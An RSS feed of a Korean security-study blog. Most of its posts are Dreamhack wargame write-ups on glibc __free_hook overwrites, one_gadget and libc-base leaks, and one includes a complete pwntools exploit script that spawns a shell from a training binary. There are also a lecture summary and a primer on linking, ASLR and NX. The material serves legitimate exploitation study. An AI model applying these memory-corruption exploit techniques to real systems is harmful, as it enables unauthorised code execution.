<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>coding_june20.log</title>
        <link>https://velog.io/</link>
        <description>&gt;_0v</description>
        <lastBuildDate>Tue, 30 May 2023 08:24:15 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>coding_june20.log</title>
            <url>https://velog.velcdn.com/images/coding_june20/profile/0b7dc86f-0ba8-46a9-96f7-298d73a51329/social_profile.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. coding_june20.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/coding_june20" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[Dreamhack] 메모리 훅 실습 - hook ]]></title>
            <link>https://velog.io/@coding_june20/Dreamhack-%EB%A9%94%EB%AA%A8%EB%A6%AC-%ED%9B%85-%EC%8B%A4%EC%8A%B5-hook</link>
            <guid>https://velog.io/@coding_june20/Dreamhack-%EB%A9%94%EB%AA%A8%EB%A6%AC-%ED%9B%85-%EC%8B%A4%EC%8A%B5-hook</guid>
            <pubDate>Tue, 30 May 2023 08:24:15 GMT</pubDate>
            <description><![CDATA[<h3 id="✅-문제">✅ 문제</h3>
<hr>
<p> 🕮 <strong>소스 코드</strong></p>
<pre><code class="language-c"> // gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;signal.h&gt;
#include &lt;unistd.h&gt;

void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf(&quot;stdout: %p\n&quot;, stdout);

    printf(&quot;Size: &quot;);
    scanf(&quot;%ld&quot;, &amp;size);

    ptr = malloc(size);

    printf(&quot;Data: &quot;);
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system(&quot;/bin/sh&quot;);
    return 0;
}</code></pre>
<p>⚙️<strong>실습 환경</strong>
<img src="https://velog.velcdn.com/images/coding_june20/post/24a60728-4b04-4f2a-8cd3-3ba1c0e7fbd0/image.png" alt="Environment"></p>
<ul>
<li><strong>64 bit</strong>와 <strong>little-endian</strong> 형식으로 이루어짐</li>
<li><strong>Full RELRO</strong> : 특정 섹션에서 writable권한이 없음</li>
<li><strong>Canary</strong> : Buffer Overflow시 canary값을 유지해야함</li>
<li><strong>NX enabled</strong> : Shellcode를 주입하여 실행할 수 없음</li>
<li><strong>No PIE</strong> : 코드 영역에서 random화가 일어나지 않는다.</li>
</ul>
<br>
<br>

<h3 id="✅-문제-접근">✅ 문제 접근</h3>
<hr>
<h4 id="1-취약점-분석">1. 취약점 분석</h4>
<p><strong>1) libc_base 구하기</strong></p>
<pre><code class="language-c">      printf(&quot;stdout: %p\n&quot;, stdout);</code></pre>
<ul>
<li>printf 함수를 이용하여 <code>libc</code>에 있는 <code>stdout</code>의 실제 주소를 얻을 수 있다.
<code>libc</code>의 버전을 알면 <code>stdout</code>의 <code>libc</code> 안에서의 상대적인 위치를 얻을 수 있기에 이를 이용하면 실행할 때 <code>libc</code>의 시작주소를 구할 수 있다.</li>
</ul>
<br>

<p><strong>2) 원하는 주소에 원하는 값을 넣을 수 있다.</strong></p>
<pre><code class="language-c">    read(0, ptr, size);
    *(long *)*ptr = *(ptr+1);</code></pre>
<ul>
<li><code>size</code>는 유저로 부터 받기에 <code>ptr</code>에 원하는 값을 넣을 수 있다.</li>
<li><code>*(long *)*ptr</code>을 해석하는 것이 중요하다. <ol>
<li><code>*ptr</code> 값은 사용자가 입력한 값을 가리킨다.</li>
<li><code>(long *)*ptr</code>은 사용자가 입력한 값을 주소처럼 생각한다는 뜻이다.</li>
<li><code>*(long *)*ptr</code>은 사용자가 입력한 값이 가리키는 장소의 값을 뜻한다.</li>
</ol>
</li>
</ul>
<p>정리하면 다음과 같다.</p>
<blockquote>
<p>사용자가 넣은 값 <code>ptr[0]</code>이 가리키는 곳에 <code>ptr[1]</code>의 값을 넣는다. </p>
</blockquote>
<br>

<p><strong>3) system(&quot;/bin/sh&quot;)</strong></p>
<pre><code class="language-c">     system(&quot;/bin/sh&quot;);</code></pre>
<ul>
<li>main 함수에 존재하는 <code>system(&quot;/bin/sh&quot;)</code>을 이용하면, shell을 얻을 수 있다. </li>
</ul>
<br>
<br>


<h4 id="2-공격-설계">2. 공격 설계</h4>
<p><code>malloc</code>과 <code>free</code>를 호출하고 있으므로 <code>malloc_hook</code>혹은 <code>free_hook</code>을 이용하고, 1-2에서 본 취약점을 이용하여 <code>hook</code>변수의 값을 임의로 바꾼다.</p>
<p><code>read</code>함수 이후에는 <code>free</code>가 나타나기 때문에, <code>free_hook</code>을 이용하여 문제를 풀 수 있다.</p>
<br>

<p><strong>Flow</strong></p>
<ol>
<li><code>libc</code>의 주소를 <code>stdout</code>을 이용하여 구한다.</li>
<li><code>ptr</code>에 <code>__free_hook</code>의 주소와 원하는 주소의 흐름을 넣는다.</li>
<li><code>free</code>가 호출되면서 <code>__free_hook</code>이 가리키는 주소로 간다.</li>
</ol>
<p>이때 원하는 주소의 흐름으로 넣을 수 있는 것은 한번에 쉘을 딸 수 있는 <code>one_gadget</code>을 이용하거나, <code>system(&quot;/bin/sh&quot;)</code>를 이용한다. 
이때 <code>system</code>함수 같은 경우, <code>main</code>에서 호출되었기 때문에, 이 주소를 이용하면 사용할 수 있다 (No PIE 이기에 가능함)</p>
<br>
<br>


<h3 id="✅-문제-풀이">✅ 문제 풀이</h3>
<hr>
<ol>
<li><code>libc</code>의 주소를 <code>stdout</code>을 이용하여 구한다.</li>
</ol>
<ul>
<li><code>libc</code>의 경우 <code>libc-2.23.so</code>이 주어졌기에 이를 이용하여 <code>stdout</code>의 상대적 거리(offset)를 구한다.
<img src="https://velog.velcdn.com/images/coding_june20/post/d0814e7a-6af9-4c8e-a065-0f1f30cf61ee/image.png" alt="stdout의 offset"></li>
</ul>
<p><code>readelf</code>를 이용하여 구하였다. <code>pwntools</code>의 <code>.symbols[&#39;stdout&#39;]</code>을 이용하여도 무관하다. <code>stdout_offset = 0x3c5708</code><br><br></p>
<ul>
<li><code>libc</code>의 주소를 받기 위하여 <code>pwntools</code>를 이용하였다.<pre><code class="language-python">  p.recvuntil(&quot;stdout: &quot;)
  stdout_address =int(p.recvline()[:-1],16)</code></pre>
이렇게 된다면 <code>libc</code>의 시작 주소는 <code>stdout_address  - stdout_offset</code>을 이용하면 구할 수 있다.</li>
</ul>
<br>

<ol start="2">
<li><code>__free_hook</code>과 원하는 실행 주소를 넣는다.</li>
</ol>
<ul>
<li><code>__free_hook</code>의 경우 <code>libc</code>에 정의 되어 있기 때문에 똑같이 offset을 구하고 실제 주소를 구한다.
<img src="https://velog.velcdn.com/images/coding_june20/post/2e8d435b-aebb-4b29-8747-528cc84a4b34/image.png" alt="">
<code>__free_hook</code>의 offset을 구하였으니, <code>libc_base</code>와 함께 실제 주소를 구할 수 있다. 
물론 <code>gdb-peda</code>에서 실행 후 <code>print &amp;__free_hook</code>을 사용하여 주소를, <code>vmmap</code>을 이용하여 <code>libc</code>의 시작주소를 구하여 둘을 빼서 offset을 구할 수도 있다. <code>pwntools</code> 역시 가능</li>
</ul>
<ul>
<li>이후 원하는 주소를 넣을 것인데 <code>one_shot</code>가젯을 넣어본다.
<code>one_gadget libc-2.23.so</code>을 이용하여 가젯을 구한다.
<img src="https://velog.velcdn.com/images/coding_june20/post/52a9d98f-8227-482b-a9d5-d2913fb7cb1a/image.png" alt="">
이 값들 중 constraints를 만족하는 주소를 넣어주면 된다. <br>
</li>
</ul>
<ol start="3">
<li>페이로드 작성
 <code>read</code>에 넣을 내용으로 <code>__free_hook</code>의 주소와 <code>one_shot</code>의 주소를 넣어준다. 두 주소 모두 8byte 이므로 long과 같은 타입으로 위에서 언급한 주소에 값 넣기가 진행된다. </li>
</ol>
<hr>
<h3 id="⚔️-exploit-code">⚔️ Exploit Code</h3>
<pre><code class="language-python">    from pwn import *

    p = process(&quot;./hook&quot;)
    e = ELF(&quot;./hook&quot;)
    libc = ELF(&#39;./libc-2.23.so&#39;)

    # receive stdout&#39;s address
    p.recvuntil(&quot;stdout: &quot;)
    stdout_address =int(p.recvline()[:-1],16)
    print(&quot;stdout:&quot;,hex(stdout_address))

    # stdout&#39;s offset = 0x3c5708
    libc_base = stdout_address - libc.symbols[&quot;_IO_2_1_stdout_&quot;]
    print(&quot;libc_base:&quot;,hex(libc_base))

    # __free_hook&#39;s offset = 0x3c3ef8
    free_hook = libc_base + libc.symbols[&quot;__free_hook&quot;]
    print(&quot;__free_hook:&quot;,hex(free_hook))

    one_shot_offset = [0x45226,0x4527a,0xf03a4,0xf1247]
    one_shot = libc_base + one_shot_offset[1]
    print(&quot;one_shot:&quot;,hex(one_shot))

    payload = p64(free_hook)
    payload += p64(one_shot)

    p.recvuntil(&quot;Size: &quot;)
    p.sendline(&#39;1000&#39;)

    p.recvuntil(&quot;Data: &quot;)
    p.sendline(payload)

    p.interactive()</code></pre>
<br>

<p><strong>실행 결과</strong>
<img src="https://velog.velcdn.com/images/coding_june20/post/fd206f97-86c2-49b5-a00d-330aa3c9e028/image.png" alt="result"></p>
<br>
<br>

<h3 id="마치며">마치며</h3>
<hr>
<p><code>system(&quot;/bin/sh&quot;)</code>을 이용하는 방법에 대하여서도 생각하여 해보길 추천함</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Dreamhack] 메모리 Hook]]></title>
            <link>https://velog.io/@coding_june20/%EB%A9%94%EB%AA%A8%EB%A6%AC-Hook</link>
            <guid>https://velog.io/@coding_june20/%EB%A9%94%EB%AA%A8%EB%A6%AC-Hook</guid>
            <pubDate>Mon, 29 May 2023 09:24:03 GMT</pubDate>
            <description><![CDATA[<h2 id="hook-🔥">Hook 🔥</h2>
<hr>
<ul>
<li><p><code>hook</code> : 갈고리라는 뜻으로 운영체제가 어떤 코드를 실행하려고 할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것을 Hooking(후킹) 이라고 부른다.</p>
</li>
<li><p><code>Hook Overwrite</code> : Glibc 2.33 이하 버전에서는 <code>malloc()</code>과  <code>free()</code>를 호출할 때 함께 훅(Hook)이 함수 포인터 형태로 존재한다. 이 함수 포인터를 Overwrite하여 코드를 실행하면, Full RELRO를 우회할 수 있다. 
(Full RELRO에도 libc에는 쓰기가 가능하기 때문이다)</p>
</li>
</ul>
<blockquote>
<p><strong>Hook의 작동 방식</strong>
    - libc는 디버깅 편의를 위해 hook 변수가 정의 되어 있다. 
ex) <code>__malloc_hook</code> ,<code>__free_hook</code> ,<code>--realloc_hook</code>
       - <code>malloc()</code>함수는 <code>__malloc_hook</code>의 값이 NULL인지 검사합니다.
        - NULL이 아니라면 hook에 인자를 넘기고 <code>__malloc_hook</code>이 가리키는 함수를 먼저 실행한다. </p>
</blockquote>
<ul>
<li>이 값들은 <code>.bss</code>영역에 있기 때문에 쓰기가 가능하므로 조작 가능하다.</li>
</ul>
<p><br></br>
<br></br></p>
<h2 id="hook-overwrite-✍️">Hook Overwrite ✍️</h2>
<hr>
<p>Hook 변수를 덮어 쓰고, 인자를 전달하면 공격할 수 있다.</p>
<ul>
<li><code>malloc(&quot;/bin/sh&quot;)</code> : <code>__malloc_hook</code>을 <code>system</code>함수의 주소로 덮는다.</li>
</ul>
<blockquote>
<p><strong>이제는 사라진 hook 변수</strong>
 : 악용되기 쉽고, 다발적으로 사용할 때 성능에 악영향을 주는 이유로,
 <code>Glibc 2.34</code> 부터는 제거되었다.</p>
</blockquote>
<p><br></br>
<br></br></p>
<h2 id="실습-🧪">실습 🧪</h2>
<hr>
<p><strong>문제 🚩</strong></p>
<pre><code class="language-c">// Name: fho.c
// Compile: gcc -o fho fho.c
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts(&quot;[1] Stack buffer overflow&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);

  puts(&quot;[2] Arbitrary-Address-Write&quot;);
  printf(&quot;To write: &quot;);
  scanf(&quot;%llu&quot;, &amp;addr);
  printf(&quot;With: &quot;);
  scanf(&quot;%llu&quot;, &amp;value);
  printf(&quot;[%p] = %llu\n&quot;, addr, value);
  *addr = value;

  puts(&quot;[3] Arbitrary-Address-Free&quot;);
  printf(&quot;To free: &quot;);
  scanf(&quot;%llu&quot;, &amp;addr);
  free(addr);
  return 0;
}</code></pre>
<ul>
<li>[1] Buffer Overlflow를 일으킬 수 있다.</li>
<li>[2] 임의 주소에 임의 값을 넣을 수 있다.</li>
<li>[3] 임의 인자를 주고 free를 호출할 수 있다.</li>
</ul>
<br>

<p><strong>checksec 🔓</strong></p>
<pre><code>    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled</code></pre><br>

<hr>
<p><strong>설계 📘</strong> </p>
<p>** -  Library의 변수 및 함수들의 주소 구하기**</p>
<ul>
<li><p>libc에서 <code>__free_hook</code>, <code>system@</code>, <code>&quot;/bin/sh&quot;</code> 문자열을 구하자</p>
</li>
<li><p><code>readelf -sr libc-2.27.so | grep &quot; __free_hook@&quot;</code>
<code>readelf -s libc-2.27.so | grep &quot; system@&quot;</code>
<code>strings -tx libc-2.27.so | grep &quot;/bin/sh&quot;</code></p>
</li>
</ul>
<p>[1]에서 변수와 함수의 주소를 구한다.
[2]에서 <code>__free_hook</code>의 값을 <code>system</code>함수의 주소로 덮어쓴다.
[3]에서 <code>&quot;/bin/sh&quot;</code>를 해제한다.</p>
<br>

<hr>
<p>** Exploit ⚔️ **</p>
<ul>
<li><p>libc의 시작 주소를 구하기 위하여 <code>__libc_start_main</code>을 확인한다.
<code>__libc_start_main</code> : <code>_start()</code>에서 <code>__libc_start_main()</code>을 호출하면 <code>main()</code>이 호출된다. </p>
<blockquote>
<p>(gdb) b * main
(gdb) r
(gdb) bt </p>
</blockquote>
</li>
<li><p>bt를 이용하면 함수를 호출한 관계를 볼 수 있다. 그 방법으로 <code>main의 RET</code>를 참고하여 이전 함수인 <code>__libc_start_main</code>을, <code>__libc_start_main의 RET</code>를 이용하여 <code>_start()</code>를 구할 수 있는 것 같다.
<code>x/i (bt에서 나온 __libc_start_main의 주소)</code>를 이용하면 <code>&lt;__libc_start_main + offset&gt;</code>으로 나타난 offset을 구할 수 있다.</p>
</li>
<li><p><code>__libc_start_main</code>의 offset을 readelf를 이용하여 구하면 <code>0x21b10</code>이다.</p>
</li>
<li><p>offset은 <code>+231</code>이다.</p>
<p>따라서 <code>__libc_start_main+231</code>을 릭한 후, 해당값에서 <code>0x21b10 +231</code>을 빼면 <code>libc_base</code>를 구할 수 있다. 이를 이용하면 다른 libc기반 함수들도 사용할 수 있다.
참고로 <code>__libc_start_main+231</code>의 값은 <code>main의 ret주소</code>이다.</p>
</li>
</ul>
<p>이를 이용하여 <code>__libc_start_main+231</code>의 주소를 leak한 후, libc_base를 구하고, <code>__free_hook</code>을 <code>system</code>으로 바꾼다. 이후 <code>/bin/sh</code>를 free의 인자로 넣는다.</p>
<br>
<br>

<h2 id="마치며">마치며</h2>
<hr>
<p>다음에는 이를 활용한 예제를 write-up 하겠습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[One shot example]]></title>
            <link>https://velog.io/@coding_june20/One-shot-example</link>
            <guid>https://velog.io/@coding_june20/One-shot-example</guid>
            <pubDate>Wed, 10 May 2023 07:11:55 GMT</pubDate>
            <description><![CDATA[<h1 id="one-shot-gadget">One shot gadget</h1>
<ul>
<li>One Shot gadget을 이용하면 한번에 shell을 획득할 수 있다.</li>
<li>이 가젯은 libc안에 있으며, libc_base를 구하여 실제 oneshot주소를 실행시켜 동작할 수 있다.</li>
</ul>
<blockquote>
<p><strong>One shot gadget 을 찾는법</strong></p>
</blockquote>
<ul>
<li>간단한 방법으로는 one_gadget을 이용하여 찾는다. 
<code>one_gadget (libc_version)</code></li>
</ul>
<p>ex) one_shot libc.so.6</p>
<p><img src="https://velog.velcdn.com/images/coding_june20/post/5bd0e2ba-da5c-414e-8a1a-9f383cede83c/image.png" alt="실행 후 모습"></p>
<ul>
<li>constraints : 실행하기 위한 조건 (조건이 충족되어야 쉘이 실행됨)</li>
<li>현재 4개의 one_gadget offset을 발견할 수 있었다.</li>
</ul>
<p>이를 통해 libc_base + one_gadget offset을 return address 에 삽입하면 shell이 동작하게 된다.</p>
<blockquote>
<p><strong>libc의 base주소를 구하는 방법</strong></p>
</blockquote>
<ul>
<li><code>objdump -D (libc) | grep &quot;stdout&quot;</code> 을 이용하면 stdout의 offset 구할 수 있다. </li>
<li>gdb에서 실행시킨 후 <code>print stdout</code> - <code>vmmap</code>을 이용하면 구할 수 있다.</li>
</ul>
<p>하지만 필자는 워게임을 풀며, 아래의 방법에서 구한 offset이 달라 고생했는데 아직 이유를 찾지 못하였다.</p>
<br>
다음에는 관련 wargame을 풀며 oneshot_gadget을 활용해 보자]]></description>
        </item>
        <item>
            <title><![CDATA[[Lecture] Connecting the dots..!]]></title>
            <link>https://velog.io/@coding_june20/Lecture-Connecting-the-dots</link>
            <guid>https://velog.io/@coding_june20/Lecture-Connecting-the-dots</guid>
            <pubDate>Thu, 06 Apr 2023 08:53:43 GMT</pubDate>
            <description><![CDATA[<h2 id="발표-정보">발표 정보</h2>
<hr>
<blockquote>
<p><strong>일시 :</strong>  4/6(목) 5시 ~ 5:50 
<strong>강사 :</strong>  이동범 (지니언스 대표, 정보보호산업협회회장)
** 강의명 :** Connecting the dots</p>
</blockquote>
<br>
<br>

<h2 id="강연-내용">강연 내용</h2>
<hr>
<h3 id="1-자신을-믿어라">1. 자신을 믿어라</h3>
<h3 id="2-타고난-모습대로--자신의-성향대로">2. 타고난 모습대로 .. 자신의 성향대로</h3>
<ul>
<li>주변 환경에 휩쓸리면 자신만의 선을 만들 수 없다 </li>
<li>자신에 대하여 알아야 한다 (TCI 검사 추천)<br>

</li>
</ul>
<h3 id="3-끈기-치열함">3. 끈기, 치열함</h3>
<ul>
<li>실력이 없어서 못하는걸 인정하고 실력을 기른다 -&gt; 끈기가 없는게 아니다</li>
<li>지속성이 필요하다 -&gt; 나중에 끌어내어 다시 할 수 있는 능력<br>

</li>
</ul>
<h3 id="4-기회가-오면-과감히-잡아라-">4. 기회가 오면 과감히 잡아라 !</h3>
<ul>
<li>한번 해본 사람에게 계속해서 기회가 온다</li>
<li>실패도 중요한 자산이다<br>

</li>
</ul>
<h3 id="5-giver가-되라">5. Giver가 되라</h3>
<ul>
<li><p>Giver, Taker, Give and Taker가 있다</p>
</li>
<li><p>가장 크게 성공하는 사람은 ? <strong>Giver</strong></p>
</li>
<li><p>가장 크게 망하는 사람은 ? <strong>Giver</strong>
++ ** Taker 를 구분할 수 있나?**</p>
</li>
<li><p><strong>Giver</strong>가 더 크게 성공한다</p>
</li>
<li><p>앞으로의 세대는 천재가 혼자 만들어 갈 수 없다 </p>
<br>
<br>

</li>
</ul>
<h2 id="qna">QnA</h2>
<hr>
<blockquote>
<h3 id="q1-실력노력-부분-어떻게-해야할까요">Q1. 실력,노력 부분 어떻게 해야할까요?</h3>
<p>** Answer :  지금은 선택을 할 때, 실패해도 도전하기, 학부 때 모든 선택은 괜찮다**</p>
</blockquote>
<br>


<blockquote>
<h3 id="q2-잘-나가다가-스타트업-어떻게">Q2. 잘 나가다가 스타트업 어떻게?</h3>
<p>** Answer : 여러  사람들과 함께하며 도전하게 됨 **</p>
</blockquote>
<br>

<blockquote>
<h3 id="q3-사람은-계획하는-동물인데-미래를-보며-planning-하면-안되나">Q3. 사람은 계획하는 동물인데 미래를 보며 planning 하면 안되나?</h3>
<p>** Answer : Planning은 좋다. 완료 -&gt; 전단계를 생각하며 계획 (backward) **</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Dreamhack] NX & ASLR]]></title>
            <link>https://velog.io/@coding_june20/Dreamhack-NX-ASLR</link>
            <guid>https://velog.io/@coding_june20/Dreamhack-NX-ASLR</guid>
            <pubDate>Wed, 05 Apr 2023 15:36:17 GMT</pubDate>
            <description><![CDATA[<h1 id="static-link-vs-dynamic-link">Static link vs Dynamic Link</h1>
<hr>
<h2 id="link">Link</h2>
<ul>
<li><h4 id="link링크는-어떤-라이브러리의-함수를-사용할때-이를-연결해주는-역할을-한다">Link(링크)는 어떤 라이브러리의 함수를 사용할때 이를 연결해주는 역할을 한다.</h4>
</li>
<li><h4 id="link는-정적-링크static-link와-동적-링크dynamic-link로-구별할-수-있다">Link는 정적 링크(Static link)와 동적 링크(Dynamic link)로 구별할 수 있다.</h4>
</li>
</ul>
<p><br></br></p>
<h2 id="static-link">Static Link</h2>
<ul>
<li><h4 id="static-link-는-정적으로-링크되는-것으로-컴파일-시-모든-라이브러리가-함께-로드된다">Static Link 는 정적으로 링크되는 것으로 컴파일 시 모든 라이브러리가 함께 로드된다.</h4>
<blockquote>
<p>🚩 <strong>장점</strong>
탐색의 비용이 절감된다.</p>
<p>🚩 <strong>단점</strong>
여러 바이너리에서 라이브러리를 사용하여 복제가 여러번 이루어져 크기가 커진다.</p>
</blockquote>
</li>
</ul>
<h2 id="dynamic-link">Dynamic Link</h2>
<ul>
<li><h4 id="dynamic-link-는-동적으로-링크되는-것으로-실행-시-라이브러리의-함수가-매핑-되어-사용된다">Dynamic Link 는 동적으로 링크되는 것으로 실행 시 라이브러리의 함수가 매핑 되어 사용된다.</h4>
<blockquote>
<p>🚩 <strong>장점</strong>
 효율적이고 자연스러운 매핑이 가능하다.</p>
<p>🚩 <strong>단점</strong>
 정적으로 매핑 할때보다 느리다.</p>
</blockquote>
</li>
</ul>
<p> <br><br></p>
<h1 id="❓-dynamic-link-하는-방법">❓ Dynamic Link 하는 방법</h1>
<hr>
<h2 id="dynamic-link는-plt와-got를-통해-이루어진다">Dynamic Link는 PLT와 GOT를 통해 이루어진다</h2>
<blockquote>
<p><strong>PLT (Procedure Linkage Table) : 다른 라이브러리에 있는 프로시저를 호출하는 테이블</strong>
** GOT (Global Offset Table) : PLT가 참조하는 테이블로 프로시저의 주소가 들어있다**</p>
</blockquote>
<pre><code> **즉, PLT와 GOT를 참조하여 함수를 동적 링크하여 사용할 수 있다**</code></pre><blockquote>
<p><strong>PLT를 호출하면 GOT를 참조하여 라이브러리 속 실제 함수의 주소를 구하여 실행한다
 이때 호출된 함수의 주소는 GOT에 저장되어 다음 호출에 바로 사용된다</strong></p>
</blockquote>
<p> <br><br><br></p>
<h1 id="aslr">ASLR</h1>
<hr>
<pre><code> &gt;**ASLR (Addres Space Layout Randomization) : 바이너리가 실행될 때마다 _스택, 힙, 공유 라이브러리_ 등을 임의의 주소로 할당하는 보호 기법**</code></pre><p>  <br><br></p>
<h3 id="aslr-은-기본적으로-설정된다">ASLR 은 기본적으로 설정된다</h3>
<p>  <code>cat /proc/sys/kernel/randomize_va_space</code> 를 통해 커널에서 보호되고 있는지 확인 가능하다</p>
<blockquote>
<p>**  0 : No ASLR
   1 : 스택, 힙, 라이브러리, vdso
   2 : 1의 영역 + brk영역**</p>
</blockquote>
<ul>
<li><strong>PLT와 GOT영역은 바뀌지 않는다 (PIE가 적용되지 않았다면)</strong>   </li>
</ul>
<p><br><br><br></p>
<h1 id="nx">NX</h1>
<hr>
<blockquote>
<p>*<em>NX (No-eXecute) : 실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호기법 *</em></p>
</blockquote>
<ul>
<li><strong>실행 권한이 없기 때문에 NX 보호 기법이 적용되면 Shell code를 주입하여 실행할 수 없다.</strong></li>
</ul>
<p> <br><br><br><br><br></p>
<h2 id="next-time">Next Time</h2>
<ul>
<li><strong>Return to Library</strong></li>
<li><strong>Return Oriented Programming</strong></li>
</ul>
]]></description>
        </item>
    </channel>
</rss>